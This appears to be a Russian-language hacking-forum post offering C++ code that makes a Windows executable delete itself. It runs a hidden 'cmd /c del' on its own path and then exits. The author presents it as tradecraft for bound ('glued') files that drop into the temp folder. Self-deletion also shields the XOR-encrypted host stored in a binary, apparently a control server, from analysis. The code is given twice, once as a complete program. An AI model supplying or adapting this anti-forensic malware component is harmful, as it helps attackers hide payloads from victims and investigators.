Код:
void autoDelete()
{
TCHAR szFile[MAX_PATH], szCmd[MAX_PATH];
if ((GetModuleFileName(0, szFile, MAX_PATH) != 0) && (GetShortPathName(szFile, szFile, MAX_PATH) != 0))
{
lstrcpy(szCmd, "/c del ");
lstrcat(szCmd, szFile);
lstrcat(szCmd, " >> NUL");
if(GetEnvironmentVariable("ComSpec", szFile, MAX_PATH) != 0) ShellExecute(0, 0, szFile, szCmd, 0, SW_HIDE);
}
exit(0);
}
Как использовать - дело ваше. Возможно вы боитесь за свой хост, думая, что кто то дешифрует ваш Xor-шифр. В моем случае - приходится клеить файлы, после открытия происходит дроп в темп, поэтому у меня самоудаление более применимо.
Собственно, для самых маленьких:
Код:
#include <iostream>
#include <windows.h>
void autoDelete()
{
TCHAR szFile[MAX_PATH], szCmd[MAX_PATH];
if ((GetModuleFileName(0, szFile, MAX_PATH) != 0) && (GetShortPathName(szFile, szFile, MAX_PATH) != 0))
{
lstrcpy(szCmd, "/c del ");
lstrcat(szCmd, szFile);
lstrcat(szCmd, " >> NUL");
if (GetEnvironmentVariable("ComSpec", szFile, MAX_PATH) != 0) ShellExecute(0, 0, szFile, szCmd, 0, SW_HIDE);
}
exit(0);
}
int main()
{
autoDelete();
return 0;
}
Последнее редактирование: